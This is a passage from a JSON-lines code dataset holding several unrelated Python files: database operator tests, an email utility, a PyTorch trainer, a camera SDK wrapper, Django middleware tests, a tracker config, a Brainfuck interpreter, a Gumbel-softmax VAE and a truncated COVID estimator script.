test_init_with_wrong_type_of_body(self):\n with self.assertRaises(TypeError):\n message.Message(header='test_header',\n intro='test_intro',\n body='test_body_with_wrong_type',\n outro='test_outro')","sub_path":"tests/message-tests.py","file_name":"message-tests.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"356897571","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n# use this file except in compliance with the License. You may obtain a copy of\n# the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations under\n# the License.\n\nimport mango\nimport unittest\n\n\nclass OperatorTests:\n def assertUserIds(self, user_ids, docs):\n user_ids_returned = list(d[\"user_id\"] for d in docs)\n user_ids.sort()\n user_ids_returned.sort()\n self.assertEqual(user_ids, user_ids_returned)\n\n def test_all(self):\n docs = self.db.find(\n {\"manager\": True, \"favorites\": {\"$all\": [\"Lisp\", \"Python\"]}}\n )\n self.assertEqual(len(docs), 3)\n user_ids = [2, 12, 9]\n self.assertUserIds(user_ids, docs)\n\n def test_all_non_array(self):\n docs = self.db.find({\"manager\": True, \"location\": {\"$all\": [\"Ohai\"]}})\n self.assertEqual(len(docs), 0)\n\n def test_elem_match(self):\n emdocs = [\n {\"user_id\": \"a\", \"bang\": [{\"foo\": 1, \"bar\": 2}]},\n {\"user_id\": \"b\", \"bang\": [{\"foo\": 2, \"bam\": True}]},\n ]\n self.db.save_docs(emdocs, w=3)\n docs = self.db.find(\n {\n \"_id\": {\"$gt\": None},\n \"bang\": {\"$elemMatch\": {\"foo\": {\"$gte\": 1}, \"bam\": True}},\n }\n )\n self.assertEqual(len(docs), 1)\n self.assertEqual(docs[0][\"user_id\"], \"b\")\n\n def test_all_match(self):\n amdocs = [\n {\"user_id\": \"a\", \"bang\": [{\"foo\": 1, \"bar\": 2}, {\"foo\": 3, \"bar\": 4}]},\n {\"user_id\": \"b\", \"bang\": [{\"foo\": 1, \"bar\": 2}, {\"foo\": 4, \"bar\": 4}]},\n ]\n self.db.save_docs(amdocs, w=3)\n docs = self.db.find(\n {\"bang\": {\"$allMatch\": {\"foo\": {\"$mod\": [2, 1]}, \"bar\": {\"$mod\": [2, 0]}}}}\n )\n self.assertEqual(len(docs), 1)\n self.assertEqual(docs[0][\"user_id\"], \"a\")\n\n def test_empty_all_match(self):\n amdocs = [{\"bad_doc\": \"a\", \"emptybang\": []}]\n self.db.save_docs(amdocs, w=3)\n docs = self.db.find({\"emptybang\": {\"$allMatch\": {\"foo\": {\"$eq\": 2}}}})\n self.assertEqual(len(docs), 0)\n\n @unittest.skipUnless(\n not mango.has_text_service(),\n \"text indexes do not support the $keyMapMatch operator\",\n )\n def test_keymap_match(self):\n amdocs = [\n {\"foo\": {\"aa\": \"bar\", \"bb\": \"bang\"}},\n {\"foo\": {\"cc\": \"bar\", \"bb\": \"bang\"}},\n ]\n self.db.save_docs(amdocs, w=3)\n docs = self.db.find({\"foo\": {\"$keyMapMatch\": {\"$eq\": \"aa\"}}})\n self.assertEqual(len(docs), 1)\n\n def test_in_operator_array(self):\n docs = self.db.find({\"manager\": True, \"favorites\": {\"$in\": [\"Ruby\", \"Python\"]}})\n self.assertUserIds([2, 6, 7, 9, 11, 12], docs)\n\n def test_nin_operator_array(self):\n docs = self.db.find(\n {\"manager\": True, \"favorites\": {\"$nin\": [\"Erlang\", \"Python\"]}}\n )\n self.assertEqual(len(docs), 4)\n for doc in docs:\n if isinstance(doc[\"favorites\"], list):\n self.assertNotIn(\"Erlang\", doc[\"favorites\"])\n self.assertNotIn(\"Python\", doc[\"favorites\"])\n\n def test_regex(self):\n docs = self.db.find(\n {\"age\": {\"$gt\": 40}, \"location.state\": {\"$regex\": \"(?i)new.*\"}}\n )\n self.assertEqual(len(docs), 2)\n self.assertUserIds([2, 10], docs)\n\n def test_exists_false(self):\n docs = self.db.find({\"age\": {\"$gt\": 0}, \"twitter\": {\"$exists\": False}})\n user_ids = [2, 3, 5, 6, 7, 8, 10, 11, 12, 14]\n self.assertUserIds(user_ids, docs)\n for d in docs:\n self.assertNotIn(\"twitter\", d)\n\n def test_eq_null_does_not_include_missing(self):\n docs = self.db.find({\"age\": {\"$gt\": 0}, \"twitter\": None})\n user_ids = [9]\n self.assertUserIds(user_ids, docs)\n for d in docs:\n self.assertEqual(d[\"twitter\"], None)\n\n def test_ne_includes_null_but_not_missing(self):\n docs = self.db.find({\"twitter\": {\"$ne\": \"notamatch\"}})\n user_ids = [0, 1, 4, 9, 13]\n self.assertUserIds(user_ids, docs)\n for d in docs:\n self.assertIn(\"twitter\", d)\n\n # ideally this work be consistent across index types but, alas, it is not\n @unittest.skipUnless(\n not mango.has_text_service(),\n \"text indexes do not support range queries across type boundaries\",\n )\n def test_lt_includes_null_but_not_missing(self):\n docs = self.db.find({\"twitter\": {\"$lt\": 1}})\n user_ids = [9]\n self.assertUserIds(user_ids, docs)\n for d in docs:\n self.assertEqual(d[\"twitter\"], None)\n\n @unittest.skipUnless(\n not mango.has_text_service(),\n \"text indexes do not support range queries across type boundaries\",\n )\n def test_lte_includes_null_but_not_missing(self):\n docs = self.db.find({\"twitter\": {\"$lt\": 1}})\n user_ids = [9]\n self.assertUserIds(user_ids, docs)\n for d in docs:\n self.assertEqual(d[\"twitter\"], None)\n\n def test_lte_null_includes_null_but_not_missing(self):\n docs = self.db.find({\"twitter\": {\"$lte\": None}})\n user_ids = [9]\n self.assertUserIds(user_ids, docs)\n for d in docs:\n self.assertEqual(d[\"twitter\"], None)\n\n def test_lte_at_z_except_null_excludes_null_and_missing(self):\n docs = self.db.find({\"twitter\": {\"$and\": [{\"$lte\": \"@z\"}, {\"$ne\": None}]}})\n user_ids = [0, 1, 4, 13]\n self.assertUserIds(user_ids, docs)\n for d in docs:\n self.assertNotEqual(d[\"twitter\"], None)\n\n def test_range_gte_null_includes_null_but_not_missing(self):\n docs = self.db.find({\"twitter\": {\"$gte\": None}})\n self.assertGreater(len(docs), 0)\n for d in docs:\n self.assertIn(\"twitter\", d)\n\n def test_exists_false_returns_missing_but_not_null(self):\n docs = self.db.find({\"twitter\": {\"$exists\": False}})\n self.assertGreater(len(docs), 0)\n for d in docs:\n self.assertNotIn(\"twitter\", d)\n\n @unittest.skipUnless(\n not mango.has_text_service(),\n \"text indexes do not support range queries across type boundaries\",\n )\n def test_lte_respsects_unicode_collation(self):\n docs = self.db.find({\"ordered\": {\"$lte\": \"a\"}})\n user_ids = [7, 8, 9, 10, 11, 12]\n self.assertUserIds(user_ids, docs)\n\n @unittest.skipUnless(\n not mango.has_text_service(),\n \"text indexes do not support range queries across type boundaries\",\n )\n def test_gte_respsects_unicode_collation(self):\n docs = self.db.find({\"ordered\": {\"$gte\": \"a\"}})\n user_ids = [12, 13, 14]\n self.assertUserIds(user_ids, docs)\n\n\nclass OperatorJSONTests(mango.UserDocsTests, OperatorTests):\n pass\n\n\n@unittest.skipUnless(mango.has_text_service(), \"requires text service\")\nclass OperatorTextTests(mango.UserDocsTextTests, OperatorTests):\n pass\n\n\nclass OperatorAllDocsTests(mango.UserDocsTestsNoIndexes, OperatorTests):\n def test_range_id_eq(self):\n doc_id = \"8e1c90c0-ac18-4832-8081-40d14325bde0\"\n r = self.db.find({\"_id\": doc_id}, explain=True, return_raw=True)\n\n self.assertEqual(r[\"mrargs\"][\"end_key\"], doc_id)\n self.assertEqual(r[\"mrargs\"][\"start_key\"], doc_id)\n","sub_path":"src/mango/test/03-operator-test.py","file_name":"03-operator-test.py","file_ext":"py","file_size_in_byte":7596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"266226813","text":"import smtplib\nimport mimetypes\nfrom email.mime.multipart import MIMEMultipart\nfrom email import encoders\nfrom email.mime.audio import MIMEAudio\nfrom email.mime.base import MIMEBase\nfrom email.mime.image import MIMEImage\nfrom email.mime.text import MIMEText\nimport settings\n\nimport datetime\n\n\t\ndef send_email(filetosend, title='results craigslist matching script'):\n \"\"\"\n Sends email with attachment to recipients set on settings file\n :param filetosend: file send as an attachment\n :param title: email's subject\n \"\"\"\n msg = MIMEMultipart()\n msg[\"From\"] = settings.emailfrom\n msg[\"To\"] = settings.emailto\n msg[\"Subject\"] = title + datetime.datetime.now().strftime(' %Y-%m-%d %H:%M')\n\n # adding attachments\n ctype, encoding = mimetypes.guess_type(filetosend)\n if ctype is None or encoding is not None:\n ctype = \"application/octet-stream\"\n\n maintype, subtype = ctype.split(\"/\", 1)\n\n if maintype == \"text\":\n fp = open(filetosend)\n # Note: we should handle calculating the charset\n attachment = MIMEText(fp.read(), _subtype=subtype)\n fp.close()\n elif maintype == \"image\":\n fp = open(filetosend, \"rb\")\n attachment = MIMEImage(fp.read(), _subtype=subtype)\n fp.close()\n elif maintype == \"audio\":\n fp = open(filetosend, \"rb\")\n attachment = MIMEAudio(fp.read(), _subtype=subtype)\n fp.close()\n else:\n fp = open(filetosend, \"rb\")\n attachment = MIMEBase(maintype, subtype)\n attachment.set_payload(fp.read())\n fp.close()\n encoders.encode_base64(attachment)\n\n attachment.add_header(\"Content-Disposition\", \"attachment\", filename=filetosend)\n msg.attach(attachment)\n\n # sending email\n server = smtplib.SMTP(settings.smtp)\n server.starttls()\n server.login(settings.username, settings.password)\n server.sendmail(settings.emailfrom, settings.emailto, msg.as_string())\n server.quit()\n\n","sub_path":"craigslist_scan/email_utils.py","file_name":"email_utils.py","file_ext":"py","file_size_in_byte":1952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"535610330","text":"import os\nimport time\nimport torch\nimport model\nimport pickle\nimport evaluation\nimport numpy as np\n\nfrom utils import *\nfrom torch import nn, optim\nfrom torch.nn import functional as F\nfrom torch.utils.data import DataLoader\nfrom torch.optim.optimizer import Optimizer\nfrom torch.utils.tensorboard import SummaryWriter\n\nclass Trainer:\n def __init__(\n self,\n model: nn.Module,\n train_loader: DataLoader,\n val_loader: DataLoader,\n criterion: nn.Module,\n optimizer: Optimizer,\n summary_writer: SummaryWriter,\n device: torch.device,\n preds_dir: str\n ):\n\n self.model = model.to(device)\n self.device = device\n self.train_loader = train_loader\n self.val_loader = val_loader\n self.criterion = criterion\n self.optimizer = optimizer\n self.summary_writer = summary_writer\n self.step = 0\n self.preds_dir = preds_dir\n\n def train(self, args, lrs, moms, start_epoch: int = 0, checkpoint_directory: str = \"\"):\n # KLDivLoss requires probabilites, implicity converts targets to log probabilites, so only need to pass targets through softmax function\n softmax = nn.Softmax(dim=1)\n\n for epoch in range(start_epoch, args.epochs):\n self.model.train()\n data_load_start_time = time.time()\n # Update the learning rate and momentum each epoch\n for group in self.optimizer.param_groups:\n group['lr'] = lrs[epoch] # Adaptive Learning rate\n group['momentum'] = moms[epoch] # Momentum Decay\n \n for batch, labels in self.train_loader:\n # Load Batch\n batch = batch.to(self.device)\n labels = labels.to(self.device)\n \n data_load_end_time = time.time()\n \n # Forward pass on the input\n logits = self.model.forward(batch)\n # Measure loss and backprop\n loss = self.criterion(logits, softmax(labels))\n loss.backward()\n \n self.optimizer.step()\n self.optimizer.zero_grad()\n \n data_load_time = data_load_end_time - data_load_start_time\n step_time = time.time() - data_load_end_time\n if ((self.step + 1) % args.log_frequency) == 0:\n self.log_metrics(epoch, loss, data_load_time, step_time)\n if ((self.step + 1) % args.print_frequency) == 0:\n self.print_metrics(epoch, loss, data_load_time, step_time)\n\n self.step += 1\n data_load_start_time = time.time()\n\n self.summary_writer.add_scalar(\"epoch\", epoch, self.step)\n \n # Check if validation, accuracy, saving predictions or checkpoints\n validate_model = (((epoch + 1) % args.val_frequency) == 0) or (epoch == 0) or (epoch + 1 == args.epochs)\n calc_accuracy = (((epoch + 1) % args.acc_frequency) == 0) or (epoch == 0) or (epoch + 1 == args.epochs)\n save_checkpoint = ((epoch + 1) % args.checkpoint_frequency == 0) or ((epoch + 1) == args.epochs) \n \n if save_checkpoint:\n self.checkpoint_model(checkpoint_directory=checkpoint_directory, epoch=epoch, loss=loss, args=args, lrs=lrs)\n if (validate_model or calc_accuracy):\n self.validate(validate_model, calc_accuracy)\n self.model.train() # Switch back to train mode\n \n\n def checkpoint_model(self, checkpoint_directory: str, epoch: int, loss, args: argparse.Namespace, lrs: tuple):\n checkpoint_path = checkpoint_directory + \"/epoch_checkpoint_\" + str(epoch)\n print(f\"Saving model to {checkpoint_path}\")\n torch.save(self.model.state_dict(), checkpoint_path)\n args.learning_rate = lrs[epoch]\n torch.save({'args': args, 'model': self.model.state_dict(), 'loss': loss.values, 'current_epoch': epoch}, checkpoint_path)\n\n def print_metrics(self, epoch, loss, data_load_time, step_time):\n epoch_step = self.step % len(self.train_loader)\n print(\n f\"epoch: [{epoch}], \"\n f\"step: [{epoch_step + 1}/{len(self.train_loader)}], \"\n f\"batch loss: {loss:.5f}, \"\n f\"data load time: \"\n f\"{data_load_time:.5f}, \"\n f\"step time: {step_time:.5f}\"\n )\n\n def log_metrics(self, epoch, loss, data_load_time, step_time):\n self.summary_writer.add_scalar(\"epoch\", epoch, self.step)\n self.summary_writer.add_scalars(\"loss\", {\"train\": float(loss.item())}, self.step)\n self.summary_writer.add_scalar(\"time/data\", data_load_time, self.step)\n self.summary_writer.add_scalar(\"time/data\", step_time, self.step)\n\n def validate(self, validate_model, calc_accuracy):\n # KLDivLoss requires log probabilites but implicity converts targets to log probabilites, so only need to pass targets through softmax function\n softmax = nn.Softmax(dim=1)\n\n number_of_batches = 4\n self.model.eval()\n if validate_model:\n preds = []\n total_loss = 0\n # No need to track gradients for validation, we're not optimizing.\n with torch.no_grad():\n for batch, labels in self.val_loader:\n batch = batch.to(self.device)\n labels = labels.to(self.device)\n logits = self.model(batch)\n\n loss = self.criterion(logits, softmax(labels))\n preds.extend(logits.cpu().numpy())\n\n total_loss += loss.item()\n \n # KLDivLoss is reduced to the batch mean, so only need to divide by the number of batches for the average\n average_loss = total_loss / number_of_batches \n print(f\"Validation loss: {average_loss:.5f}\")\n self.summary_writer.add_scalars(\"loss\", {\"test\": average_loss}, self.step)\n \n # Calculate accuracy and output predictions\n if calc_accuracy:\n preds_path = get_preds_path(self.preds_dir)\n with open(preds_path,'wb') as f:\n pickle.dump(preds, f)\n cc, auc_borj, auc_shuffle = evaluation.evaluate(preds_path, \"val.pkl\")\n self.summary_writer.add_scalars(\"accuracy\", {\"CC\": cc, \"AUC Borj\": auc_borj, \"AUC SHUFFLED\": auc_shuffle}, self.step)\n \n\n","sub_path":"AppliedDeepLearning-main/src/Improved/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"16060806","text":"# -*- coding:utf-8 -*-\nimport time\nimport ctypes\nimport os\nimport sys\n\n\ndef infraed_temperature(camera_ip, sdk_path, camera_name, camera_pwd, camera_port=8000):\n face_snap_so = os.path.join(sdk_path, \"getpsdata_infraed.so\")\n os.chdir(sdk_path)\n h_dll = ctypes.cdll.LoadLibrary(face_snap_so)\n # hk sdk input data must be bytes\n camera_ip = bytes(camera_ip, 'ascii')\n camera_name = bytes(camera_name, 'ascii')\n camera_pwd = bytes(camera_pwd, 'ascii')\n # FaceDetectAndContrast\n '''\n param camera_ip:hk infraed camera\n param port: default 8000\n param user_name:user_name\n param user_pwd:user_pwd\n '''\n h_dll.InfraedTemperature(camera_ip, camera_port, camera_name, camera_pwd)\n while True:\n # keep alive\n time.sleep(200)\n\nif __name__ == '__main__':\n camera_ip = sys.argv[1]\n sdk_path = sys.argv[2]\n camera_name = sys.argv[3]\n camera_pwd = sys.argv[4]\n infraed_temperature(camera_ip, sdk_path, camera_name, camera_pwd)\n","sub_path":"hik_infraed/hik_infraed_temperature.py","file_name":"hik_infraed_temperature.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"608573028","text":"from django.http import HttpResponseRedirect\nfrom django.test import TestCase, RequestFactory\nfrom flexmock import flexmock\nfrom django_replicated2.tests.utils import override_settings\n\nfrom django_replicated2.middleware import ReplicationMiddleware\nfrom django_replicated2.routers import ReplicationRouter\n\n\nclass GetReplicationRouterTest(TestCase):\n\n @override_settings(DATABASE_ROUTERS=['django_replicated2.routers.ReplicationRouter'])\n def test_should_return_replication_router(self):\n router = ReplicationMiddleware().get_router()\n self.assertTrue(isinstance(router, ReplicationRouter))\n\n @override_settings(DATABASE_ROUTERS=[])\n def test_should_return_none_when_no_routers_defined(self):\n router = ReplicationMiddleware().get_router()\n self.assertTrue(router is None)\n\n\nclass ReplicationMiddlewareHttpSafeMethodsTest(TestCase):\n\n SETTINGS = dict(\n DATABASE_ROUTERS=['django_replicated2.routers.ReplicationRouter'],\n )\n\n def setUp(self):\n self.middleware = ReplicationMiddleware()\n self.request = RequestFactory()\n self.router = flexmock().should_receive('enable_slaves').with_args().once\n flexmock(self.middleware).should_receive('get_router').and_return(self.router.mock)\n\n @override_settings(**SETTINGS)\n def test_get(self):\n self.middleware.process_request(self.request.get('/'))\n\n @override_settings(**SETTINGS)\n def test_head(self):\n self.middleware.process_request(self.request.head('/'))\n\n @override_settings(**SETTINGS)\n def test_options(self):\n self.middleware.process_request(self.request.options('/'))\n\n @override_settings(**SETTINGS)\n def test_trace(self):\n request = self.request.get('/')\n request.method = 'TRACE'\n self.middleware.process_request(request)\n\n\nclass ReplicationMiddlewareHttpMethodsTest(TestCase):\n\n SETTINGS = dict(\n DATABASE_ROUTERS=['django_replicated2.routers.ReplicationRouter'],\n )\n\n def setUp(self):\n self.middleware = ReplicationMiddleware()\n self.request = RequestFactory()\n self.router = flexmock().should_receive('disable_slaves').with_args().once\n flexmock(self.middleware).should_receive('get_router').and_return(self.router.mock)\n\n @override_settings(**SETTINGS)\n def test_post(self):\n self.middleware.process_request(self.request.post('/'))\n\n @override_settings(**SETTINGS)\n def test_delete(self):\n self.middleware.process_request(self.request.delete('/'))\n\n @override_settings(**SETTINGS)\n def test_put(self):\n self.middleware.process_request(self.request.put('/'))\n\n\nclass ReplicationMiddlewareRecentlyUpdatedTest(TestCase):\n\n SETTINGS = dict(\n DATABASE_ROUTERS=['django_replicated2.routers.ReplicationRouter'],\n )\n\n def setUp(self):\n self.middleware = ReplicationMiddleware()\n self.request = RequestFactory()\n\n @override_settings(**SETTINGS)\n def test_process_request(self):\n self.request.cookies[ReplicationMiddleware.COOKIE_NAME] = 'any-value'\n router = flexmock().should_receive('disable_slaves').with_args().once\n flexmock(self.middleware).should_receive('get_router').and_return(router.mock)\n self.middleware.process_request(self.request.get('/'))\n\n @override_settings(**SETTINGS)\n def test_process_response_updateable_methods(self):\n request = self.request.post('/')\n response = HttpResponseRedirect('/')\n flexmock(ReplicationRouter).should_receive('is_db_recently_updated').with_args().and_return(True)\n self.middleware.process_response(request, response)\n self.assertIn(ReplicationMiddleware.COOKIE_NAME, response.cookies)\n\n @override_settings(**SETTINGS)\n def test_process_response_safe_methods(self):\n request = self.request.get('/')\n response = HttpResponseRedirect('/')\n flexmock(ReplicationRouter).should_receive('is_db_recently_updated').with_args().and_return(True)\n self.middleware.process_response(request, response)\n self.assertNotIn(ReplicationMiddleware.COOKIE_NAME, response.cookies)\n","sub_path":"django_replicated2/tests/test_middleware.py","file_name":"test_middleware.py","file_ext":"py","file_size_in_byte":4148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"295159233","text":"_base_ = ['./stark_st2_r50_50e_got10k.py']\n\n# model setting\nmodel = dict(test_cfg=dict(update_intervals=[300]))\n\ndata_root = 'data/'\ntrain_pipeline = [\n dict(\n type='TridentSampling',\n num_search_frames=1,\n num_template_frames=2,\n max_frame_range=[200],\n cls_pos_prob=0.5,\n train_cls_head=True),\n dict(type='LoadMultiImagesFromFile', to_float32=True),\n dict(type='SeqLoadAnnotations', with_bbox=True, with_label=True),\n dict(type='SeqGrayAug', prob=0.05),\n dict(\n type='SeqRandomFlip',\n share_params=True,\n flip_ratio=0.5,\n direction='horizontal'),\n dict(\n type='SeqBboxJitter',\n center_jitter_factor=[0, 0, 4.5],\n scale_jitter_factor=[0, 0, 0.5],\n crop_size_factor=[2, 2, 5]),\n dict(\n type='SeqCropLikeStark',\n crop_size_factor=[2, 2, 5],\n output_size=[128, 128, 320]),\n dict(type='SeqBrightnessAug', jitter_range=0.2),\n dict(\n type='SeqRandomFlip',\n share_params=False,\n flip_ratio=0.5,\n direction='horizontal'),\n dict(\n type='SeqNormalize',\n mean=[123.675, 116.28, 103.53],\n std=[58.395, 57.12, 57.375],\n to_rgb=True),\n dict(type='CheckPadMaskValidity', stride=16),\n dict(\n type='VideoCollect',\n keys=['img', 'gt_bboxes', 'gt_labels', 'padding_mask'],\n meta_keys=('valid')),\n dict(type='ConcatSameTypeFrames', num_key_frames=2),\n dict(type='SeqDefaultFormatBundle', ref_prefix='search')\n]\n\n# dataset settings\ndata = dict(\n train=dict(\n type='RandomSampleConcatDataset',\n dataset_sampling_weights=[1, 1, 1, 1],\n dataset_cfgs=[\n dict(\n type='GOT10kDataset',\n ann_file=data_root +\n 'got10k/annotations/got10k_train_infos.txt',\n img_prefix=data_root + 'got10k',\n pipeline=train_pipeline,\n split='train',\n test_mode=False),\n dict(\n type='LaSOTDataset',\n ann_file=data_root + 'lasot/annotations/lasot_train_infos.txt',\n img_prefix=data_root + 'lasot/LaSOTBenchmark',\n pipeline=train_pipeline,\n split='train',\n test_mode=False),\n dict(\n type='TrackingNetDataset',\n ann_file=data_root +\n 'trackingnet/annotations/trackingnet_train_infos.txt',\n img_prefix=data_root + 'trackingnet',\n pipeline=train_pipeline,\n split='train',\n test_mode=False),\n dict(\n type='SOTCocoDataset',\n ann_file=data_root +\n 'coco/annotations/instances_train2017.json',\n img_prefix=data_root + 'coco/train2017',\n pipeline=train_pipeline,\n split='train',\n test_mode=False)\n ]),\n test=dict(\n type='LaSOTDataset',\n ann_file=data_root + 'lasot/annotations/lasot_test_infos.txt',\n img_prefix=data_root + 'lasot/LaSOTBenchmark'))\n","sub_path":"configs/sot/stark/stark_st2_r50_50e_lasot.py","file_name":"stark_st2_r50_50e_lasot.py","file_ext":"py","file_size_in_byte":3133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"14445531","text":"import sys\ndef RunProgram(program):\n\treg = [0]\n\tptr = 0\n\ti = 0\n\twhile i < len(program):\n\t\tcommand = program[i]\n\t\t\n\t\tif (command == \">\"):\n\t\t\tptr += 1\n\t\t\tif(ptr >= len(reg)):\n\t\t\t\treg.append(0)\n\t\telif (command == \"<\"):\n\t\t\tptr -= 1\n\t\t\tif(ptr < 0):\n\t\t\t\treg.insert(0, 0)\n\t\t\t\tptr = 0\n\t\telif (command == \"+\"):\n\t\t\treg[ptr] += 1\n\t\telif (command == \"-\"):\n\t\t\treg[ptr] -= 1\n\t\telif (command == \"[\"):\n\t\t\tif (reg[0] == 0):\n\t\t\t\ti = program[i:].index(\"]\")\n\t\telif (command == \".\"):\n\t\t\tprint(chr(reg[ptr]), end=\"\")\n\t\telif (command == \",\"):\n\t\t\treg[ptr] = ord(sys.stdin.read(1))\n\t\t\tsys.stdout.write(\"\\010\\010\\010\\010\\010\")\n\t\ti += 1\n\t\tif (command == \"]\"):\n\t\t\tif (reg[0] != 0):\n\t\t\t\ti = program[:i].index(\"[\")\n","sub_path":"src/bfinterp.py","file_name":"bfinterp.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"576819496","text":"import tensorflow as tf\nimport numpy as np\nimport seaborn as sns; sns.set_style('whitegrid')\nimport os\nfrom tqdm import tqdm\nfrom plot_utils import *\nfrom tensorflow.examples.tutorials.mnist import input_data\nfrom tensorflow.contrib.layers import stack, fully_connected as fc, flatten\nfrom tensorflow.python.ops.distributions.bernoulli import Bernoulli\nfrom tensorflow_probability.python.distributions import Gumbel\nfrom tensorflow_probability.python.distributions import Categorical\n\n# Define Directory Parameters\nflags = tf.app.flags\nflags.DEFINE_string('data_dir', os.getcwd() + '/data/', 'Directory for data')\nflags.DEFINE_string('results_dir', os.getcwd() + '/results/', 'Directory for results')\n\n# Define Model Parameters\nflags.DEFINE_integer('batch_size', 100, 'Minibatch size')\nflags.DEFINE_integer('num_iters', 200000, 'Number of iterations')\nflags.DEFINE_float('learning_rate', 0.001, 'Learning rate')\nflags.DEFINE_integer('num_classes', 10, 'Number of classes')\nflags.DEFINE_integer('num_cat_dists', 20, 'Number of categorical distributions')\nflags.DEFINE_float('min_temp', 0.5, 'Minimum temperature')\nflags.DEFINE_float('anneal_rate', 0.00001, 'Anneal rate')\n\nFLAGS = flags.FLAGS\n\n\ndef gumbel_softmax(logits, temperature, hard=True):\n gumbel = Gumbel(loc=0., scale=1.)\n # NOTE: softmax over axis=2, which corresponds to the class dimension.\n y = tf.nn.softmax((logits + gumbel.sample(tf.shape(logits))) / temperature)\n if hard:\n y_hard = tf.cast(tf.equal(y, tf.reduce_max(y, 2, keep_dims=True)), y.dtype)\n y = tf.stop_gradient(y_hard - y) + y\n return y\n\n\ndef encoder(x):\n \"\"\"Make logits for variational proposal distribution.\n This is logits for K categorical distributions (K=num_cat_dists),\n where each categorical distribution is defined on N categories (N=num_classes).\n\n Parameters\n ----------\n x\n\n Returns\n -------\n logits: unnormalized log probability of shape (batch_size, num_cat_dists, num_classes)\n \"\"\"\n net = stack(x, fc, [512, 256])\n return tf.reshape(fc(net, FLAGS.num_cat_dists * FLAGS.num_classes, activation_fn=None), [-1, FLAGS.num_cat_dists, FLAGS.num_classes])\n\n\ndef decoder(z):\n \"\"\"Make reconstruction network.\n\n Parameters\n ----------\n z\n\n Returns\n -------\n Reconstruction distribution p(x|z;\\theta) with Bernoulli distribution.\n Here, Bernoulli was chosen since pixel space is bounded by [0, 255].\n \"\"\"\n net = stack(flatten(z), fc, [256, 512])\n logits = fc(net, 28*28, activation_fn=None)\n return Bernoulli(logits=logits)\n\n\ndef train():\n # Load MNIST data.\n data = input_data.read_data_sets(FLAGS.data_dir+'/MNIST', one_hot=True)\n\n # Create encoder graph.\n with tf.variable_scope(\"encoder\"):\n inputs = tf.placeholder(tf.float32, shape=[None, 28*28], name='inputs')\n tau = tf.placeholder(tf.float32, shape=[], name='temperature')\n logits = encoder(inputs)\n z = gumbel_softmax(logits, tau, hard=False) # (batch_size, num_cat_dists, num_classes)\n\n # Create decoder graph.\n with tf.variable_scope(\"decoder\"):\n p_x_given_z = decoder(z)\n\n with tf.variable_scope(\"decoder\", reuse=tf.AUTO_REUSE):\n categorical = Categorical(probs=np.ones(FLAGS.num_classes)/FLAGS.num_classes)\n z = categorical.sample(sample_shape=[FLAGS.batch_size, FLAGS.num_cat_dists])\n z = tf.one_hot(z, depth=FLAGS.num_classes)\n p_x_given_z_eval = decoder(z)\n\n # Define loss function and train opeator.\n # NOTE: Categorically uniform prior p(z) is assumed.\n # NOTE: Also, in this case, KL becomes negative entropy.\n # NOTE: Summation becomes KLD over whole distribution q(z|x) since z is assumed to be elementwise independent.\n KL = - tf.reduce_sum(tf.nn.softmax_cross_entropy_with_logits_v2(labels=tf.nn.softmax(logits), logits=logits), axis=1)\n ELBO = tf.reduce_sum(p_x_given_z.log_prob(inputs), axis=1) - KL\n loss = tf.reduce_mean(-ELBO)\n train_op = tf.train.AdamOptimizer(learning_rate=FLAGS.learning_rate).minimize(loss)\n\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n temperature = 1.0\n for i in tqdm(range(1, FLAGS.num_iters)):\n np_x, np_y = data.train.next_batch(FLAGS.batch_size)\n _, np_loss = sess.run([train_op, loss], {inputs: np_x, tau: temperature})\n if i % 1000 == 0:\n temperature = np.maximum(FLAGS.min_temp, np.exp(- FLAGS.anneal_rate * i))\n print('Temperature updated to {}\\n'.format(temperature))\n if i % 5000 == 1:\n print('Iteration {}\\nELBO: {}\\n'.format(i, -np_loss))\n\n # Plot results.\n x_mean = p_x_given_z.mean()\n batch = data.test.next_batch(FLAGS.batch_size)\n np_x = sess.run(x_mean, {inputs: batch[0], tau: FLAGS.min_temp})\n\n x_mean_eval = p_x_given_z_eval.mean()\n np_x_eval = sess.run(x_mean_eval)\n\n plot_squares(batch[0], np_x, np_x_eval, 8)\n\n\ndef main():\n tf.gfile.MakeDirs(FLAGS.data_dir)\n tf.gfile.MakeDirs(FLAGS.results_dir)\n train()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"vae_gumbel_softmax.py","file_name":"vae_gumbel_softmax.py","file_ext":"py","file_size_in_byte":5111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"324342597","text":"from application.main import CovidEstimator, convert_month_to_days, convert_week_to_days\n\n\nsample_input_data = {\n 'region': {\n 'name': \"Africa\",\n 'avgAge': 19.7,\n 'avgDailyIncomeInUSD': 5,\n 'avgDailyIncomePopulation': 0.71\n },\n 'periodType': \"days\",\n 'timeToElapse': 58,\n 'reportedCases': 674,\n 'population': 66622705,\n 'totalHospitalBeds': 1380614\n}\n\n\ndef estimator(data: dict) -> dict:\n\n output_data = {\n 'data': data,\n 'impact': {},\n 'severeImpact': {}\n }\n\n periodtype = data.get('periodType', 'days')\n if periodtype == 'days':\n requested_days = data.get('timeToElapse', 1)\n elif periodtype == 'weeks':\n requested_days = 